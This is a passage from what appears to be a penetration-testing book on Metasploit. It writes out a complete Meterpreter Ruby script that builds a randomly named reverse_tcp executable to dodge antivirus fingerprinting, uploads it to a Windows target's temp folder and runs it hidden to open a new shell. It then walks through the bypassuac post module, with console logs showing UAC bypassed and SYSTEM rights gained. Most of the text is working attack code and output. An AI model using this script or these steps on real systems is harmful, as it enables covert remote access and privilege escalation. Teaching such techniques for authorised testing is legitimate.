Open up your favorite editor and create a new file called execute_upload.rb, located in scripts/meterpreter/. We’ll start by adding comments to the top of the file to let everyone know the purpose of this script and to define our options for the script:
# Meterpreter script for uploading and executing another meterpreter exe info = "Simple script for uploading and executing an additional meterpreter payload" # Options opts = Rex::Parser::Arguments.new( "-h" => [ false, "This help menu. Spawn a meterpreter shell by uploading and executing."], "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"] )
This should look somewhat familiar, because it’s almost exactly the same as the example from Carlos Perez that appeared earlier in the chapter. The help message is defined with -h
at , and -r
and -p
are specified for the remote IP address and port number we’ll need for our new Meterpreter executable. Note that a true
statement is included; this indicates that these fields are required.
Next, we define the variables we want to use throughout the script. We’ll call the Rex::Text.rand_text_alpha
function to create a unique executable name every time it’s called. This is efficient, because we don’t want to assign an executable name statically, which would “antivirus fingerprint” the attack. We’ll also configure each argument so that it either assigns a value or prints information with, for example, the -h
.
filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" rhost = Rex::Socket.source_address("1.2.3.4") rport = 4444 lhost = "127.0.0.1" pay = nil # # Option parsing # opts.parse(args) do |opt, idx, val| case opt when "-h" print_line(info) print_line(opts.usage) raise Rex::Script::Completed when "-r" rhost = val when "-p" rport = val.to_i end end
Notice that we broke out each argument and assigned values or print information back to the user. The rhost = val
means “take the value presented from the user when -r
was input.” The rport = val.to_i
simply assigns the value as an integer (it will always need to be an integer for a port number).
In the next series, we define everything we need to create our payload:
payload = "windows/meterpreter/reverse_tcp" pay = client.framework.payloads.create(payload) pay.datastore['LHOST'] = rhost pay.datastore['LPORT'] = rport mul = client.framework.exploits.create("multi/handler") mul.share_datastore(pay.datastore) mul.datastore['WORKSPACE'] = client.workspace mul.datastore['PAYLOAD'] = payload mul.datastore['EXITFUNC'] = 'process' mul.datastore['ExitOnSession'] = true mul.exploit_simple( 'Payload' => mul.datastore['PAYLOAD'], 'RunAsJob' => true )
We define our payload as a windows/meterpreter/reverse_tcp
at , generate the payload calling the client.framework.payloads.create(payload)
at , and specify the necessary parameters to create the multi-handler. These are all the required fields we need to set our payload using the LHOST
and LPORT
options and create a listener.
Next we create our executable (win32pe meterpreter), upload it to our target machine, and execute it:
if client.platform =˜ /win32|win64/ tempdir = client.fs.file.expand_path("%TEMP%") print_status("Uploading meterpreter to temp directory...") raw = pay.generate exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) tempexe = tempdir + "\\" + filename tempexe.gsub!("\\\\", "\\") fd = client.fs.file.new(tempexe, "wb") fd.write(exe) fd.close print_status("Executing the payload on the system...") execute_payload = "#{tempdir}\\#{filename}" pid = session.sys.process.execute(execute_payload, nil, {'Hidden' => true}) end
The variables called #{
something
}
have already been defined within the script and will be called later. Notice that we already defined tempdir
and filename
. Moving into the script, we first include an if statement to detect whether the platform we are targeting is a Windows-based system ; otherwise, the attack won’t run. We then expand the temp directory on the target machine; this would be the equivalent of %TEMP%. Next we create a new file on the system and write out the new EXE we just generated from the ::Msf::Util::EXE.to_win32pe
call. Remember that we set the session.sys.process.execute
to Hidden
so that the target user won’t see anything pop up on his side.
Putting this all together, our final script should look something like this:
# Meterpreter script for uploading and executing another meterpreter exe info = "Simple script for uploading and executing an additional meterpreter payload" # # Options # opts = Rex::Parser::Arguments.new( "-h" => [ false, "This help menu. Spawn a meterpreter shell by uploading and executing."], "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"] ) # # Default parameters # filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" rhost = Rex::Socket.source_address("1.2.3.4") rport = 4444 lhost = "127.0.0.1" pay = nil # # Option parsing # opts.parse(args) do |opt, idx, val| case opt when "-h" print_line(info) print_line(opts.usage) raise Rex::Script::Completed when "-r" rhost = val when "-p" rport = val.to_i end end payload = "windows/meterpreter/reverse_tcp" pay = client.framework.payloads.create(payload) pay.datastore['LHOST'] = rhost pay.datastore['LPORT'] = rport mul = client.framework.exploits.create("multi/handler") mul.share_datastore(pay.datastore) mul.datastore['WORKSPACE'] = client.workspace mul.datastore['PAYLOAD'] = payload mul.datastore['EXITFUNC'] = 'process' mul.datastore['ExitOnSession'] = true print_status("Running payload handler") mul.exploit_simple( 'Payload' => mul.datastore['PAYLOAD'], 'RunAsJob' => true ) if client.platform =˜ /win32|win64/ tempdir = client.fs.file.expand_path("%TEMP%") print_status("Uploading meterpreter to temp directory") raw = pay.generate exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) tempexe = tempdir + "\\" + filename tempexe.gsub!("\\\\", "\\") fd = client.fs.file.new(tempexe, "wb") fd.write(exe) fd.close print_status("Executing the payload on the system") execute_payload = "#{tempdir}\\#{filename}" pid = session.sys.process.execute(execute_payload, nil, {'Hidden' => true}) end
Now that we have our newly created Meterpreter script, let’s launch Metasploit, get into Meterpreter, and execute the script:
meterpreter > run execute_upload -r 172.16.32.129 -p 443
[*] Running payload handler
[*] Uploading meterpreter to temp directory
[*] Executing the payload on the system
[*] Sending stage (749056 bytes) to 172.16.32.170
[*] Meterpreter session 2 opened (172.16.32.129:443 -> 172.16.32.170:1140) at
Tue Nov 30 23:24:19 −0500 2010
meterpreter >
Success! We have created a Meterpreter script and successfully executed it to spawn a new Meterpreter shell. This is a small example of the power and flexibility of the Meterpreter scripting language and Ruby in general.
One important element to discuss briefly (as mentioned earlier) is the move to convert Meterpreter scripts to a format similar to the Metasploit modules. We’ll use a small demo of a module built for bypassing the Windows 7 UAC. Windows Vista and later introduced a feature similar to sudo
in UNIX- and Linux-based systems. With this feature, a user is assigned limited account permissions until administrative-level permissions are necessary. When the user needs admin rights to perform a task, a prompt appears, telling the user that admin rights are required and are being used. The ultimate goal of this feature is to protect against a compromise or virus infection and to limit exposure only to one user account.
In December 2010, Dave Kennedy and Kevin Mitnick released a new Meterpreter module that bypassed the Windows UAC component by injecting a payload into a process that had a trusted publisher certificate and was considered “UAC Safe.” When injecting into the process, a DLL can be called, running under the context of that UAC Safe process, which then executes commands.
In this example, we use the post exploitation modules, which can be used to bypass UAC. We first start the multi/handler module with the -j
flag, which allows us to accept multiple Meterpreter shells. Notice in this example that when we try to run the getsystem
command, it fails because it is being blocked by Windows UAC.
resource (src/program_junk/meta_config)> exploit -j [*] Exploit running as background job. msf exploit(handler) > [*] Started reverse handler on 0.0.0.0:443 [*] Starting the payload handler... [*] Sending stage (749056 bytes) to 172.16.32.130 [*] Meterpreter session 1 opened (172.16.32.128:443 -> 172.16.32.130:2310) at Thu June 09 08:02:45 −0500 2011 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > sysinfo Computer: DAVE-DEV-PC OS : Windows 7 (Build 7600). Arch : x64 (Current Process is WOW64) Language: en_US meterpreter >
Notice that we can’t bridge over to a system-level account, because UAC is blocking us. We need to get around UAC to obtain system-level privileges and ultimately become an administrator so that we can further compromise the machine. We press ctrl-Z to back out, keeping the session active. Then we use the new format to run post modules and bypass the Windows UAC functionality.
msf exploit(handler) >use post/windows/escalate/bypassuac
msf post(bypassuac) >show options
Module options (post/windows/escalate/bypassuac): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST no Listener IP address for the new session LPORT 4444 no Listener port for the new session SESSION yes The session to run this module on. msf post(bypassuac) >set LHOST 172.16.32.128
LHOST => 172.16.32.128 msf post(bypassuac) >set SESSION 1
SESSION => 1 msf post(bypassuac) >exploit
[*] Started reverse handler on 172.16.32.128:4444 [*] Starting the payload handler... [*] Uploading the bypass UAC executable to the filesystem... [*] Meterpreter stager executable 73802 bytes long being uploaded.. [*] Uploaded the agent to the filesystem.... [*] Post module execution completed msf post(bypassuac) > [*] Sending stage (749056 bytes) to 172.16.32.130 [*] Meterpreter session 2 opened (172.16.32.128:4444 -> 172.16.32.130:1106) at Thu June 09 19:50:54 −0500 2011 [*] Session ID 2 (172.16.32.128:4444 -> 172.16.32.130:1106) processing InitialAutoRunScript 'migrate -f' [*] Current server process: tYNpQMP.exe (3716) [*] Spawning a notepad.exe host process... [*] Migrating into process ID 3812 [*] New server process: notepad.exe (3812) msf post(bypassuac) >sessions -i 2
[*] Starting interaction with 2... meterpreter >getsystem
...got system (via technique 1). meterpreter >
We could also have executed run
instead of use
within the Meterpreter console and it would have leveraged the default options and executed without having to set up the various options.
Notice in the preceding example that we succeed in gaining system-level rights on a target machine with UAC enabled. This small example demonstrates how the post exploitation modules will ultimately be set up and converted.
This script works simply by uploading a previously compiled executable to the target machine and then running it. Take a look at the post exploitation module for a better idea of what’s going on behind the scenes:
root@bt:/opt/framework3/msf3# nano modules/post/windows/escalate/bypassuac.rb